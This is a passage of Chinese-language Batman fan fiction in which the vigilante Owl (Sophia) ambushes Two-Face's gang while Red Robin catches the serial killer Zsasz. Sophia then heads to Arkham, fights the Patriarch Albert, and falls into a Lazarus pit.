此时不知道为什么，窗外的风大了很多，克里斯无论如何都能听到树枝在金属车顶上敲击发出来的声响，劳伦斯嫌无聊点了根烟，偏偏又怕提前暴露只能关着窗户抽烟，烟雾被吞吐的间隙所散发出的烟草燃烧后的有些烧焦的气味，把几个老烟鬼的瘾给勾了上来。 “嘿哥们，给一根。”克里斯转过头，对着劳伦斯那张脸皮都松弛的老脸讨好的笑了笑，伸出了手。 劳伦斯浑浊的脏水一样的眼睛瞥了一眼，随后不情不愿地从裤兜里掏了半天，才掏出那盒早就被压扁的烟盒，抖了半天才摸出来一根同样被压扁的烟，很快就被克里斯从中掏走。 司机并不满意像头牛一样闷哼一声，劳伦斯啐了一口随后把烟盒都扔在了前座，便双手环胸扭过了头。只可惜生气的对象完全没管这点无关紧要的情绪，顺手又伸了过去要打火机，等了半分钟都没等到结果。 就在此时同样叼着烟的克里斯，再次听到了树枝敲击车顶的声音，但第二次听那声音清晰了些，至少在克里斯看来这声音的描述不太准确，比起木头敲击金属，更像是其他的声音。 比如鞋跟落在车顶，或者有人收起力气刻意在弄出声响一般—— 克里斯不久前刚被蝙蝠侠暴打的身体突然开始隐隐发痛，男人条件反射般打开保险拿着冲锋枪对着车顶开始射击，弹壳下雨一般落了下来，但并未听到任何人被打中的声响。 劳伦斯正要发火痛骂克里斯打草惊蛇一般的行为，随后车外的动静印证了克里斯的怪异。 一阵巨力一把将车门拽了下来，随后便是前排的司机被一把拖出扔了出去，克里斯正要反抗就看到了从窗户跳进车内的黑色身影，猫头鹰的面具格外陌生。 克里斯还来不及回忆起这位不速之客的身份，就被迎面一拳打在脸上，在片刻的眩晕后第二拳紧随其后，男人这才失去了意识。 后排的劳伦斯意识到了不对，但不知道什么时候被完全反锁的车门将年纪更大些的男人和看起来就算不上好惹的义警困在了这个狭小的环境之中，而在那个没什么用还失业的克里斯在一声巨响昏迷后，劳伦斯终于接受了现实。 老男人看了看猫头鹰那张面具，又看了看已经昏迷的两个同伴，随后一头磕在车玻璃上也跟着失去了意识，而几个月随身携带的通讯系统此时完全被猫头鹰所接管，旋转按钮，系统被打开，随后和劳伦斯那被烟草摧残出来的烟嗓如出一辙的声音冒了出来，回答了那头即将开始行动前的最后确认工作。 “头，准备就绪。” —————— 索菲亚从内部打开了车门，随后从驾驶座的位置走了出去，两个昏迷的混混被捆好后放在了车内，如果猫头鹰对自己的力道有些了解，在天亮前男人们不会醒来。 而那个被甩了出去还有意识的年轻人，则看着黑色的猫头鹰越走越近却无力反抗后，被一拳一起送进了睡梦之中。 双面人临时组建的通讯系统和他如今的手下一样，质量上算不上上乘，不过半分钟索菲亚就在红罗宾的帮助下听到了双面人那边的对话，这才意识到这伙菜鸟完全被耍了个遍。 双面人那边配备了容量更大的SUV，两辆车除了颜色以外几乎看不出什么相同点，不过考虑到双面人刚从阿卡姆越狱，这点索菲亚倒能理解。 不过人员构成层面，索菲亚听起来那边除了双面人信任的心腹以及重金雇来的雇佣兵外，似乎还有一个几乎没说过话的人存在，通讯系统信号烂的要死，索菲亚熟悉的通过呼吸和简单动作来判断对方身体素质和战力的技能没了用处，只能屏气凝神继续关注那边的动静，同时往那辆车的藏身之地前进。 风声从耳边掠过，索菲亚和定位点的距离逐渐拉近，而随着距离的变化，索菲亚听到那边的声音也越清晰，也就在此时双面人终于开口。 “我的计划很烂吗你就这么不满意？” 被问到的人叹了口气，但完全没有和老板相处的拘谨，平静的开口回答了问题。 “挺好的，只是希望等会蝙蝠侠不会把他的助手都带来，我不想回去住小丑隔壁。” “为什么这么悲观呢朋友？还是说你怕了蝙蝠侠？”另一个更加沉重但无法压抑疯狂的声音响起，随后两道声音自顾自争吵了起来。 而那个被问话的索菲亚熟悉的声音冷笑一声。 “谁会怕蝙蝠侠？你要知道哈维，猫头鹰可是蝙蝠的天敌，蝙蝠侠只不过是利爪的猎物。” 听到这里索菲亚关上了通讯的按钮，落在了哥谭银行的高处，猫头鹰的制服完全被夜色所掩盖，只有棕色为主的猫头鹰面具显露在空气中，如同真的有一只的猫头鹰此时正看着一场新的犯罪发生。 第105章 双面人的手下行动很快, 在那辆价值连城的运钞车到达银行之前，一行人已经提前完成了布防。 索菲亚在滴水兽上享用完全免费的西北风，虽然没有冬日那般过分凛冽, 但站在没什么阻挡的高处依旧不算是什么舒服的体验。 空气中蔓延着大量的水汽，水汽混杂着泥土青草的气息弥漫在空气中，索菲亚吸了吸鼻子, 除去能够预示一场即将来临的暴雨的气味外, 一股铁锈味同样悄无声息的爬了上来，猫头鹰找了半天在制服的小腿后侧的位置找到了几滴血迹，大概是刚刚行动时被索菲亚几拳打到昏迷鼻梁骨接近断裂边缘的几个人留下的。 行动开始前索菲亚特意关掉了夜巡的通讯频道，即便如此还是能在动手的时候听到蝙蝠侠那如同喉癌般低沉的嗓音发出的忠告：注意力度, 这些人还没到该死的地步。 到了现在索菲亚想起来那个突兀的提示, 开始在制服上摸索起来, 在找遍大多数地方后，果然在披风之下摸到了几枚完全不同的监听器，至于这些小把戏是什么时候自己长了腿长到了猫头鹰的制服上, 恐怕只有蝙蝠侠和他的某只红色小鸟能解答一二。 距离双面人正式开始行动还有一点时间, 索菲亚颇有耐心的对着几个做工不同的监听判断出各自的主人, 随后开始挨个留言。 “我已经很收敛了不然那家伙断的只能是脖子。” 手指用力，被索菲亚打上蝙蝠侠标签的监听立马被捏的粉碎, 随后被弹了出去。 “夜翼, 你再不去上班真的不会被开除吗？” 还在幸灾乐祸的夜翼, 随着监听被捏碎, 很快也因为杂音捂住了耳朵。 “搅局者你要是无聊就回家把地拖几遍。” 一个个捏过去，最后那个剩下来的大概率只有一个答案, 索菲亚猜红罗宾不会把监听同步进频道里, 于是大胆开麦。 “小红鸟, 你是不是忘了告诉你爸妈你已经回来了，再不去学校办手续好学生提米就要和我一起当高中辍学生了，还是说你要和我一起浪迹天涯做猎魔人？” 那个只属于红罗宾和猫头鹰的频道里，少年终于有机会开口。 “听起来很不错，只不过我建议你做好准备，运钞车还有不到一分钟就位……”少年话还没说完，在意料之中的异响到达前就摘下了通讯耳机，对着导师的视线笑了笑，随后把注意力重新收了回来。 猫头鹰那边遇到了双面人，而负责调查哥谭市最近发生的连环杀人案的红罗宾则意外发现了扎斯的影子，这个将大多数年轻女性当作猎物的连环杀手热爱用割喉的方式来夺走这些鲜艳年轻的生命，并在每次行动之后都会在身体上留下伤疤作为捕猎行动的奖章。 和妈妈住在一起的初中生莉迪亚是第一个被发现的，三年前她的妈妈受不了家暴的丈夫选择提出离婚险些在获得自由前率先失去了生命，而莉迪亚那时意外结识了当时在哥谭颇为活跃的蝙蝠女，并在对方所提供的帮助下成功让母女俩离开了这个不比地狱好上多少的家庭。 妈妈是个护士，即便最艰难的时刻也没有想过放弃自己的工作，这也是母女俩如今相依为命能够依靠这点微薄的工资在哥谭安身立命的唯一依靠，也不至于让莉迪亚被慈善机构以未成年人保护的名义带走，送到没有丝毫了解的陌生寄养家庭去。 同时为了这个家，妈妈大多数会选择薪水更高的夜班，莉迪亚也很早就习惯了独自过夜的打算，即使生物钟完全不同，但这并不影响母女俩的感情。 直到一周前，妈妈发现本该去学校报道的莉迪亚失去了消息，就在这位可怜的母亲担忧女儿陷入了因为算不上富裕的家境被人欺负或者被花言巧语的混混骗走了包括金钱在内的一切时，坐在公交车上的这位女性抬眼间在小巷里看到了一个无比熟悉的身影。 黑色的连衣裙，母亲不可能忘记这条裙子，她上了一个月的夜班就是为了给将这条精致的带着蕾丝的裙子送给她世界上最爱的小女儿作为礼物，女人歇斯底里的大喊随后险些被疾驰的汽车撞飞，但顾不上自身安危的女人顶着司机的谩骂声，一步步走进了小巷。 黑色的带蕾丝的裙子，没错，是那条裙子。 女人的视线逐渐被模糊，直到路过的另一位着急上班的女性路过发出一声尖叫，这位母亲才回过神来，蹲下身子用带着茧子的手轻轻抚摸手下那个棕色的洋娃娃一样的女孩的脑袋。 只是这个孩子如今没有了温度，没有了呼吸，没有了心跳，她的喉咙被划开，但仍旧保持着安静乖巧的模样，像是洋娃娃一样被摆在了格外显眼的角落，等待别人来发现。 直到警笛声越来越近，一群警员将女人围了起来，试图从她手里带走莉迪亚稚嫩的身体，女人这才从沙哑的肿痛的喉咙意识到，原来自己一直在尖叫。 这只是其中的一起案件，已经被迫选择成为神谕的芭芭拉看着卷宗沉默了许久，直到那杯冒着香气的咖啡已经完全冷掉，红发的女性才回过神来。 作为神谕秘密基地的钟楼此时除了芭芭拉以外空无一人，而一向冷静的神谕则控制不住的握紧了拳头，随后砸在了已经没有知觉的大腿上，重新端起咖啡送到嘴边，苦涩的液体顺着喉咙而下唤回了神谕的理智，绿色的嫩芽一样的眼睛将这份愤怒压了下去，神谕重新开始了工作。 红罗宾进入gcpd的档案进行调查，发现在莉迪亚的事发生之前已经有了预示。 除了莉迪亚，最近还有三个女孩失踪。 瑞秋是哥谭大学的新生，半个月前，在学校组织的联谊活动里她认识了学校里几个都喜欢玩探险的朋友并约定在周六一起去附近的山洞进行探索，只是到了约定的时间瑞秋却失去了联系，熟悉的朋友找到了她的宿舍同样没发现她的消息，即使是找到了瑞秋父母的联系方式，也找不到这个热情姑娘的一点线索。 于是这群年轻人在48小时之后选择了报警，只是这样的大学生失踪案在哥谭并不少见，大多数都是些犯了事选择跑路的年轻人，又或许是坠入爱河就头脑一热私奔的女孩，即使熟悉的朋友嘴里瑞秋从不是为了爱情要死要活的那种女孩，但这起案子并未得到重视。 直到在莉迪亚被发现的十二个小时后，在哥谭市中心的一棵梧桐树下，有人发现了穿着一身红色裙子靠在树干上沉睡的少女，借着路灯昏黄的灯光，路人这才发现女孩身上的从来不是红裙，而是从被切开的喉咙处不断流出的鲜血将原先白色的裙子完全染红后才呈现出的画面。 这个女孩就是失踪超过半个月的瑞秋。 而最后被发现的尸体则完全让红罗宾确定了扎斯的凶手身份。 同样被割开的喉咙，过分嚣张的展现尸体的方式，对于警方的不屑一顾，以及站在女孩尸体边欣赏自己作品的满是伤疤的扎斯。 一瞬间，红罗宾就和扎斯对上了视线，被鲜血所浸染将大脑深处毫不掩饰的疯狂重新激发出来的男人露出一个挑衅意味十足的微笑，罗宾镖从少年的手中朝着男人的方向投掷而出，在男人毫不在意地夹住金属物的瞬间，这枚小小的从蝙蝠侠那里获得经验的小道具立马在“嘀嘀嘀”身后爆炸。 爆炸威力不大，但激起了足够大的烟雾，而红罗宾这时抽出了长棍冲进雾中和男人搏斗了起来。 提姆比任何人都知道自己的优势从来不是力气，因而比起力气技巧才是自己取胜的关键，扎斯虽然是个残忍血腥暴力为了满足自己私欲不计一切代价的家伙，但从来不是个蠢货，而那些在刺客联盟用疼痛和伤口学来的技巧终于派上了用场。 稳定呼吸，降低存在感，隐藏杀意和动机，在对方出手的一瞬间出动。 唯一不同的是，红罗宾不会杀任何人。 结束了战斗的红罗宾向导师汇报了这边的情况，还没来得及松一口气就从那个低沉的嗓音那里得到了坏消息，同样被坏消息击中的还有刚刚处理完双面人及其同伙的猫头鹰。 索菲亚还没收回武器，那把换了几次的长刀对准眼前同样猫头鹰打扮的利爪林肯马奇，只是利爪的情绪过分平和，甚至还跟索菲亚打了个招呼。 “你就是双面人的同伙？他给了你多少？” “说好的五五分，只不过我觉得没戏，这点钱请不动我。” 利爪摘下面具露出那头黑色的因为被囚禁而留长如今已经到了肩膀的头发，同样代表非人的眼睛望了过来，林肯没有太大反应而是注视着索菲亚。 “那你为什么要出来？打算去其他市场做杀手吗？” “有人不希望我留在阿卡姆。” 林肯用带着锋利爪子的手套抓了抓干枯的头发，终于放弃了卖关子。 “这些逃犯都是幌子，有人买通了阿卡姆将这群疯子都放了出来，现在留在那里才是最危险的。” “谁？小丑？莱克斯卢瑟？还是你等着出道的新同事？” “是你认识的人，阿尔伯特，又或者该称呼他牧首。”林肯笑了出来“牧首控制了阿卡姆随后把这群人渣都扔了出来，我没地方去偏偏又和利爪查重率极高的猫头鹰合不来，只能找个地方图个清静。” “他想要什么？” “阿卡姆的地下，法庭曾经在那里有一个废弃的拉撒路之池，当然比不上忍者大师手里那个高级货，整个阿卡姆应该只有我知道这消息了。” “你说这样的诚意够吗？猫头鹰。” 第106章 红罗宾同样从被捆成螃蟹的扎斯和频道那头的蝙蝠侠那里得到了阿卡姆被炸的消息, 这种只是普通上班的一天突然被告知有八百个今晚不赶完就会爆炸的ddl的绝望感，让即使在刺客联盟被一面包车人轮番殴打也能面不改色的红罗宾皱起了眉头。 罗宾已经怪叫起来，提姆已经能够想象两个女孩回家之后对着今晚被迫高强度加班的一系列脏话含量极高的对话, 但这不算什么大问题，毕竟现在就连提姆自己都想用零钱塞满阿福放在客厅里的脏话罐，迪克倒是想加入这个一起fuck所有人的行列, 但比脸还干净的口袋不允许小警察进行这样过分奢侈的高消费, 而最为富有的布鲁斯则直接掏出了黑卡递给阿福，并在阿福不赞成的眼神下顺理成章地被扣走了三天的点心。 顶着猫头鹰面具的索菲亚及时上线嘲笑了几个不幸的成年人并带来了新的消息——曾经背刺刺客联盟的牧首阿尔伯特此时就在哥谭，如果利爪的情报正确，位于阿卡姆地下的被污染过的拉撒路泉水足够这只猫头鹰搞出更大的麻烦来。 回忆起索菲亚在空气中笔划自己小时候在牧首手下接受各种毫无理由的惩罚全靠求生欲和死不掉才活到现在的种种景象, 提姆一方面觉得女朋友说话的时候可爱但剩下的却只有怜惜。 那个时候索菲亚多大？五岁？六岁？ 即使是自认为足够独立的提姆那个年纪都还只是窝在妈妈怀里因为不想起床, 想多吃两块糖撒娇的二头身小孩, 而一直喜欢在熟悉面前撒娇的索菲亚是怎么接受自己失去父母庇护，只能在猫头鹰的一步步指引下接受成为刽子手的命运。 一直以来将自己父母的故事当作无关紧要的家庭伦理剧讲述的索菲亚，也会在深夜抱着自己落泪吗？因为训练和惩罚带来的疼痛, 因为无法反抗只能默默接受的无助, 因为不知道明天会发生什么而恐惧。 牧首不会在乎一个一时兴起被带回来的宠物的想法, 即使没有正面接触，仅是从刺客联盟众人口中的旁敲侧击, 提姆也能明白牧首的为人。 一个有着表演性人格, 实际冷血无情将所有人都当作消耗品看待的寿命极长的怪物, 他可以热情的把刚刚杀死十几个人的49号收作门徒, 也可以在不需要的时候将49号仅仅作为给刺客联盟带来麻烦的一枚随时可以舍弃的消耗品扔掉。 “49号当时留下了消息，牧首也在等我, 我想我得自己去结束那些和猫头鹰有关的事。” 频道那头索菲亚的声音中夹杂着以及呼啸的风声, 提姆下意识向少女所在的方向望去却被哥谭层层叠叠的建筑挡住了视线, 地面出现了被水滴打湿的印记，随着雨滴越来越频繁，提姆终于等到了潮湿气息后的那场大雨，而另一头的少女在沉默片刻后继续了对话。 “我不至于非要和阿尔伯特打的你死我活，等我摔杯为号你们就带一蝙蝠车人来围殴他，如果还是不够的话就把超人也叫来，我绝对不要在这个时候输。” “保持通讯。” 在得到蝙蝠侠的默许后，索菲亚看着雨丝下连红蓝相间的灯光都被模糊的警车响着警笛接近，掏出了钩爪枪朝那个自己到达哥谭以来一直没机会去看一眼的阿卡姆疯人院。 不过本来脑子就有大病的阿尔伯特确实也该进阿卡姆了，果然每个神经病都会遇到自己命中注定的精神病院是吗？在知道就叫监护人当时把疑似得了禽流感的猫头鹰拷进疯人院算了，也省得搞出那么多破事。 猫头鹰顶着狂风暴雨在哥谭上空靠钩爪枪实力cos蜘蛛侠，内心却把搞事之前特地看天气预报就为了找个暴雨天难为别人的阿尔伯特以他本人为半径，根据血缘关系远近全骂了个遍，也就在这时一直跟在自己下方那个亮着车灯的影子显得格外显眼。 “我送你去。”少年的声音响起的瞬间索菲亚就确认了目标从高楼一跃而下，轻轻的落在那个同样被暴雨浇到狼狈但依旧冷静的身影面前，掀起红罗宾红色内衬的披风钻了进去，双手抱住了在刺客联盟的高频率毒打下被迫变得硬朗了许多的腰部。 风更大了连带着雨水也格外的惊人，如果不是有面具遮挡索菲亚几乎以为自己在海里游泳，红罗宾那一头总是打理的一丝不苟的头发也没办法在这种犹如被蝙蝠侠和超人轮番扇耳光的环境下依旧保持□□的姿态，少年依旧坚毅的抄小路绕过暴雨天还在外坚持搞事的罪犯或者罪犯预备役们直冲奈何岛的方向而去。 索菲亚实在被打的脸疼，几乎尖叫道。 “小罗，你就不能偷蝙蝠车来接我吗？” “抱歉我没想那么多，我只是不想你一个人过去。” “其实我觉得也不是今晚非要和阿尔伯特打一架，咱俩要不回家吧，牧首爱干什么干什么。” 猫头鹰的语气里带着愤怒，在接受大自然的毒打后这份短暂的退缩很快被收了回去，随后便是对于积压已久的情绪的宣泄。 “不行我不甘心，我今晚就要和阿尔伯特打的你死我活，我要把他灌上水泥沉进哥谭湾，我不是猫头鹰吗怎么让这家伙耍的团团转。” “最恶心的是什么？我本来姓布兰登好好的，他把他那个不知道从哪里来的姓氏放在我的名字后面，我之前以为证件是假的，结果是真的啊！” “混蛋谁要和他做父女恶心死了，我有自己的姐姐和师兄。” 看到恢复活力的索菲亚，红罗宾终于从消极的气氛里走了出来，而这一路的终点也逐渐显露了出来。 面具上的护目镜被雨水遮挡了视线，但并不影响索菲亚观察眼前这座十分哥谭的哥特式建筑，如果是外地人初来游玩只会以为这是什么和欧洲分部的城堡一样的旅游景点或者被赋予了神秘故事的鬼屋，而不是把一群法律都无法制裁的精神病放在一起养蛊，时不时还会自动爆炸给哥谭带来新惊喜的反派复活点。 在临近阿卡姆的树林里少年缓缓停下了机车，索菲亚仍旧观察着这个有些陌生的建筑，在脑子里把通讯器里红罗宾发来的潜入路线和实际上的建筑对上号。 这场雨小了很多，但打在树叶上仍旧能够发出规律的响声，有些像索菲亚无聊时放在耳边的白噪音，而红罗宾此时正在和索菲亚同步阿卡姆内部的情况。 索菲亚听的认真，但视线却忍不住放在同样被雨水打湿显得湿漉漉的少年一张一合的嘴唇上，此时一滴雨正好从树叶滑落滴在提姆的额头，很快便顺着挺拔的鼻梁流了下来。 被打湿的面具闷得喘不过气的索菲亚干脆一把摘下了面具，接着探身那一滴停留在少年鼻尖的雨水用舌尖勾走，随后堵上了提姆被雨水泡的有些发白的唇瓣。 少年的体温在大雨下降低了不少，此时和索菲亚的体温无限接近，潮湿的带着雨水气味的舌尖强盗一般在口腔中四处扫荡，也就在这时索菲亚才会撕开冒失可爱小女孩的伪装显露出猛禽的本质，对着尚且稚嫩的小红鸟玩起欲擒故纵的把戏。 短暂的分开后，少女含住了爱人的下唇，用牙齿轻咬那瓣饱满的在索菲亚看来格外性感的嘴唇。 只可惜小红鸟同样不是什么被关在鸟笼子里只知道歌唱的纯良小鸟，很快便抓住了主导权，将手放在索菲亚的脑后轻抚被打湿的头发，直到那只手扣在了猫头鹰的脖颈处，预示着从索菲亚那里通过示爱获得了真正的主导权。 体温在液体交换间迅速升高，索菲亚的余光能看到少年的耳侧和脸颊以惊人的速度变成染上一片绯红，再次分开后一截白丝仍旧没有断开，连接着在暴雨中沉溺于情欲中的年轻人，直到如同蜘蛛丝一样的白丝断开，索菲亚听到了提姆重新平复下来的呼吸和心跳声。 “我很快回来，等我好吗？”索菲亚最后在提姆的喉结上盖章一样亲了两下，最后一个亲吻落在了少年的下巴上。 提姆点了点头，随手接过索菲亚递来的东西，少年一眼扫去才发现这是原先属于利爪如今只代表猫头鹰身份的面具。 “猫头鹰养大的怪物没办法杀死猫头鹰，所以我打算暂时扔掉这个身份，不是猫头鹰也不是猎魔人，只是索菲亚。” 少女露出一个笑来，眼里没有留恋，转身向阿卡姆前进。 而提姆的耳边GCPD的警笛依旧响个不停，在短暂的欢愉的时光里哥谭的每个角落依旧有犯罪发生，从过去到现在一直没有改变，但蝙蝠侠出现后提姆能看到这个城市在变好，那些在媒体看来微不足道的被拯救的普通人找到了重新生活的机会，险些踏入歧路毁掉他人和自己人生的年轻人则被这个符号所震慑，那些孩童遇到了困难都会愿意相信蝙蝠侠。 就是这些微不足道的没人关心的点滴让提姆对帮助这座城市中的居民充满了信心。 提姆看着那个熟悉的影子消失在视线之中后在雨中沉默了许久，重新张开翅膀回到了哥谭的大街小巷之中，作为红罗宾保护这个即使糟糕却依旧美丽的城市。 第107章 索菲亚一下就理解了为什么那些好莱坞经典男人拯救世界的电影里为什么总是会在决战前安排一段吻戏, 但凡是个人在做大事之前和喜欢的人亲嘴别说猫头鹰了，就算要珍珠港索菲亚也不是不可以去碰一碰。 阿卡姆疯人院内此刻过分的清净，但没到空无一人的水平, 愿意同流合污的职工大多选择跑路，而那些还没意识到发生了什么的倒霉蛋们则在意识不清的情况下取代那些精神病患者进入了那些牢房里，成为了一道亮丽的风景线。 此时外面的大雨仍旧没有一点停下的迹象, 室外的电闪雷鸣穿透映衬出月黑风高杀人夜的惊悚氛围, 几个醒过来的普通人正歇斯底里的拍打着面前的防弹玻璃寻求索菲亚这个身穿奇装异服的义警求助。 索菲亚听着声音在敲得最激烈的牢房前停下了脚步，此时一道闪电闪过照亮了棕色的猫头鹰的面具，橙黄色的护目镜倒映出玻璃那侧格外平静的脸，以及身穿警卫服礼貌求援的警卫。 “求求你救救我, 那群疯子把我关了进来, 我还有孩子还有妻子……” 索菲亚低下头看了看距离自己不远处倒在地上的和囚室内那张脸一模一样的正在地上躺尸的警卫, 又抬头看了看这间囚室上大大的泥脸的名牌，脑袋上蹦出来好几个问号。 不是，就不能挑一个远一点的警卫模仿吗？ 索菲亚屈起手指用关节敲了敲玻璃, 把带着猫头鹰面具的脸贴近小声说道。 “我背了三天的资料, 你告诉我你哪来的老婆孩子。” 那张脸迟疑了片刻原本灵动的五官变得呆滞, 随后整张脸如同被大雨冲刷掉的泥浆一样逐渐溶解，直到整具身体完全重构, 还原出索菲亚记忆里属于泥脸的形象, 只不过依旧看不出具体的长相来。 “牧首没把你放出来吗？” “那只傲慢的死鸟, 他会付出瞧不起我的代价。” “对, 我就是他的代价。”索菲亚满意的点了点头随后用尖锐的利爪划过隔在两人中间的玻璃，看到泥脸因为刺耳的声音逐渐溶解的身体, 内心生成了更多的愉悦, 踮着脚快速离开了满是尖叫和哭泣的监狱区。 对着通讯器上的阿卡姆地形图, 索菲亚对着看不明白楼层的地图停止了思考，脑袋跟着左扭右扭了半天终于找到了现在所处的方向，而想要进入地下那只能选择所有哥谭反派的老家下水道了。 希望杀手鳄没有被关在阿卡姆的下水道里吃人民碎片自助。 也希望杀手鳄不要热情到看到猫头鹰打扮的人就进行一起吃饭的邀请。 熟练的拆开将空调管道封上的金属栏杆，钻进管道，沿着红罗宾标注的前往下水道的方向前进，路过在管道上方不知道要不要逃狱的罪犯，顺手掀开管道盖子跳了出去把人打晕后用随手携带的绳索依次排列方便随后赶来的蝙蝠侠处理。 重新钻回管道，在关押囚犯的最深处，索菲亚找到了通往下水道的入口。 水声大了许多，被迫半个身体都浸在污水里的索菲亚不得不持续自我催眠，你只是一只可怜的掉进下水道需要找到出口离开的猫头鹰，猫头鹰是不害怕脏的，这没什么，不要怕。 而这些催眠实际上，没有任何作用。 仿佛变成一坨垃圾飘流在污水上方绝不是索菲亚意料之中自己的结局，至少不该是自己生前该经历的事，这也太超前了吧，不管怎么说这也得是死了几个月后身体因为超强防腐剂影响所以不会腐烂的死猫头鹰的待遇吧。 希望阿尔伯特已经死了，再走五分钟就能看到他的尸体。 索菲亚双手合十内心默默的祈祷。 但是真正从污水中爬到了干净的平台上走了二十分钟看到那个背对着自己的那个熟悉的背影时，即使做足了心理准备索菲亚还是觉得天塌了。 “你掉粪坑了吗？”阿尔伯特的脸上同样带着面具，那张无机质的猫头鹰的脸上让索菲亚一个非常不擅长观察细节的人都能看出满满的嫌弃。 “从下水道来的。”索菲亚不紧不慢的回答，好在身后的武器保存的还算良好不至于像主人一样像是从一吨shit里捞出来一样臭。 “我以为利爪会告诉你另一条路，看来你们的关系也没那么好。” “我和红罗宾关系好一点，刚刚亲过嘴，但跟利爪就算了吧。”索菲亚耸了耸肩膀，努力克制住身体下意识认怂的动作。 毕竟上次在迪拜脑子快不过肌肉反应在那么多猫头鹰之下扑通一声跪在地下的经历实在是过于丢人，好在当时没有熟人在，不然光是斯蒂芬妮就可以嘲笑索菲亚窝囊猫头鹰，至少可以持续到圣诞节，直到其他义警更新出新的笑话。 比如被艾薇得藤蔓倒吊起来浑身勒满暧昧红痕被同事误以为女朋友过分激情实际上目前短暂处于空窗期的夜翼，夜训的时候误打误撞被父母撞到只能快速毕业的前任罗宾，意识不清时期什么都往嘴里塞以至于恢复清醒后看到刺客联盟食堂推出的黑暗料理只想逃走的杰森，以及时常需要花出更多精力才能被发现的蟑螂系刺客但现在都没发现自己亲爹就是蝙蝠侠的达米安…… 女孩子一般闹不出太大的笑话，只有索菲亚努力的为这个家增添新的笑料。 牧首终于转了过来，在两个人大眼瞪小眼过了两分钟之后，才默契的双双拔出武器冲上去开始对垒。 热知识阿尔伯特是一个力气极大的刺客，在不考虑隐蔽性的情况下，这个家伙做得出把所有人的脑袋全都拧断以防出现目击者出现的情况。 好消息，索菲亚的力气虽说比不上蜘蛛侠有几吨重的臂力，但也足够掀起半只大象，不至于立马出现被犀牛撞出去几米远的巨力弹飞出去。 大马士革钢锻造而成的长刀经过烤蓝工艺处理后通过微弱的灯光散发出足够鲜艳的蓝色，与阿尔伯特手里那把有一定弧度的太刀频繁撞击在一起，钢材撞击在一起几乎摩擦出火花来，感受到手臂传来的剧烈反作用力，索菲亚暗暗咬了咬牙。 看起来两人打的有来有回，但索菲亚清楚的知道牧首不过在戏耍自己，因为从始至终对方的脚都没有因为需要和人对垒而进行大幅度的移动，只有自己像只急眼的小动物在这里蹦跳。 牧首的刀再次劈了过来，索菲亚干脆跃起蹲在了刀身之上，对着相对脆弱的着力点劈了下去，随着刀身的颤抖索菲亚借一个前空翻移动至牧首背后，将能够爆炸的蝙蝠镖对着男人身后扔了过去。 阿尔伯特显然看透了把戏没有伸手去接属于蝙蝠侠的小玩具，干脆用那把太刀将蝙蝠镖弹开，却在接触到的瞬间触发了爆炸，那把勉强承受重击的太刀终于断裂，就在牧首想拔出另一把刀的时候，索菲亚高高跃起对着男人的面具踢了下去。 猫头鹰的面具随着承担过量的攻击后缓缓碎裂，露出男人那张平日里毫无攻击性的总是挂着笑脸，但眼神始终透露出冰冷的脸，唯一不同的是索菲亚第一次在这张脸上看到了杀气。 只是在接受难得认真起来的阿尔伯特的第二轮攻势前，下水道脆弱的土地先宣告阵亡，裂出一个大洞来，索菲亚来不及躲闪就被牧首拉住了披风，一起向下坠落。 透过护目镜索菲亚看到了身下绿莹莹的弥漫着微光的水池，以及在牧首的袭击下被拽下的属于自己的猫头鹰的面具中自己面无表情的脸。 “扑通。”一声，索菲亚落入了池水之中，只是在奋起反抗之前，猫头鹰率先陷入了昏迷。 —————————— 索菲亚知道自己在做梦，毕竟谁会一觉醒来发现自己身处一个陌生的过分的村子里且不被任何人看见还觉得自己身处现实的，多少有点灵异了。 不被任何人看到的幽灵一样的索菲亚来不及想自己是不是不小心被扔进水池子里淹死了，只是担心自己的尸体不要被阿尔伯特分尸成几千片混入最近的交易市场成为KFC全家桶的主要材料。 那是真的可以在一份全家桶里吃出索菲亚的一家了。 希望提姆最近不要点KFC。 说回村子，这个村子是那种美国很难看到的过分朴实的村子，朴实到大多数的生产工作只能依靠人力的那种还处于封建社会的会在大型RPG游戏里出现的新手村一样，村民大多互相熟识，因而异乡人的到来会格外的引人注目，比如住在树林深处的一位女巫打扮的独身女性。 根据对方还没有因为精通药草学被人烧死的状况，索菲亚可以推断目前应该还没进入中世纪。 不被任何人看见也暂时找不到回去的方法的索菲亚天天在这个村子游荡，直到某天在女巫的房子外戳蘑菇的时候被女巫叫住了。 “迷路的旅人，你来自何方？” “呃，哥谭？”索菲亚和这位足够神秘的女巫终于搭上了话“这里还是美国吗？” “我想应该不是。”有着星空一样神秘的深蓝色眼睛的女巫摇了摇头，随后为在外流浪的幽灵索菲亚送出了一杯还冒着热气的花茶“但我想你或许需要一个落地的地方。” 索菲亚接过花茶发现自己的身体意外没有穿透过去，惊奇的瞪圆了眼睛，金色的猫科动物一样的圆眼睛让女巫颇为受用，这位矜持的女巫在宽大的外袍摸了半天，掏出来一大把糖果碰到索菲亚面前。 “请用吧孩子，属于森林的女巫瑟瑞娜永远欢迎孩子的来访。” 第108章 和其他还在地里找食的孩子不同, 阿尔伯特是磨坊主的小儿子，这意味着即使男孩在家里成天做些大人看来没用的孩子才会干的打发时间的混蛋事，也不至于沦落到饿死或者成为流浪汉的命运。 阿尔伯特的老爹安德烈在村子里有两座磨坊, 整个村子想要把粗糙的麦粒磨成细腻的面粉用以制作夹杂了石子和沙砾以防饥荒到来作为储备粮的黑面包都得仰仗这个有着大胡子男人手里最为珍贵的资产。 阿尔伯特运气好些，不必为了吃穿发愁，但也不那么好, 因为他还有一个还没结婚的哥哥和一个嫁到邻村的姐姐。 按照习惯, 父亲的财产全都属于大哥，作为小儿子的阿尔伯特只能接受离开生活许久的家乡前往其他地区通过迎娶某位财主的独生女获得岳父的财产来改变命运。 因而当树林的深处那座废弃已久的木屋里搬进去一位优雅神秘的独身女性时，大多数男孩的家长都没有阻止孩子去接触这样一位能够轻松在陌生之地立足的一看就拥有巨额财产的女性。 那是阿尔伯特第一次见到女巫。 女巫，猎魔人, 炼金术士, 这些关键词是吟游诗人口中那些让人激动到睡不着觉的冒险故事的常客, 比起整天在地里接受太阳的暴晒或者过早承担巨量的工作却连口饭都吃不上的农民，这些脱离了田地和村庄四海为家的过分潇洒的故事对每个好奇心过剩的孩子来讲都是一个过量的诱惑。 而那位住在森林深处，轻松就在木屋前开垦出一小片田地用以种植草药的女性, 无论如何都和传说中的女巫一模一样。 一位女性, 强大, 神秘，擅长草药学, 且常年穿着光滑的丝绸制成的长袍和宽大的挡住了女性大半张脸的尖尖的帽子, 那她一定是一位女巫。 不过比起传说里阴晴不定, 亦正亦邪的女巫, 